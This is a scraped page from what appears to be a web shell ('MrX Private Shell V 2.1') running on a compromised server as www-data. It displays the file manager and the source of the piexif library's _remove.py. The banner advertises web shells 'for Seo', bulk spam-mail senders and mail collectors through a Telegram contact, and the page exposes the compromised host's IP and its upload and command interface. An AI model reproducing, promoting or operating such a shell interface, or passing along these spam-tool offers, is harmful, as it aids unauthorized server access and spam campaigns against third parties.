__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.169: ~ $
import io

from ._common import *
from piexif import _webp

def remove(src, new_file=None):
    """
    py:function:: piexif.remove(filename)

    Remove exif from JPEG.

    :param str filename: JPEG
    """
    output_is_file = False
    if src[0:2] == b"\xff\xd8":
        src_data = src
        file_type = "jpeg"
    elif src[0:4] == b"RIFF" and src[8:12] == b"WEBP":
        src_data = src
        file_type = "webp"
    else:
        with open(src, 'rb') as f:
            src_data = f.read()
        output_is_file = True
        if src_data[0:2] == b"\xff\xd8":
            file_type = "jpeg"
        elif src_data[0:4] == b"RIFF" and src_data[8:12] == b"WEBP":
            file_type = "webp"
        else:
            file_type = None

    if file_type is not None:
        if file_type == "jpeg":
            segments = split_into_segments(src_data)
            exif = get_exif_seg(segments)
            if exif:
                new_data = src_data.replace(exif, b"")
            else:
                new_data = src_data
        elif file_type == "webp":
            try:
                new_data = _webp.remove(src_data)
            except ValueError:
                new_data = src_data
            except e:
                print(e.args)
                raise ValueError("Error occurred.")

        if isinstance(new_file, io.BytesIO):
            new_file.write(new_data)
            new_file.seek(0)
        elif new_file:
            with open(new_file, "wb+") as f:
                f.write(new_data)
        elif output_is_file:
            if new_data is not src_data:
                with open(src, "wb+") as f:
                    f.write(new_data)
        else:
            raise ValueError("Give a second argument to 'remove' to output file")

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 220 B 0644
_common.py File 2.62 KB 0644
_dump.py File 12.79 KB 0644
_exceptions.py File 52 B 0644
_exif.py File 29.74 KB 0644
_insert.py File 1.89 KB 0644
_load.py File 12.21 KB 0644
_remove.py File 1.78 KB 0644
_transplant.py File 1.24 KB 0644
_webp.py File 7.94 KB 0644
helper.py File 2.47 KB 0644
Filemanager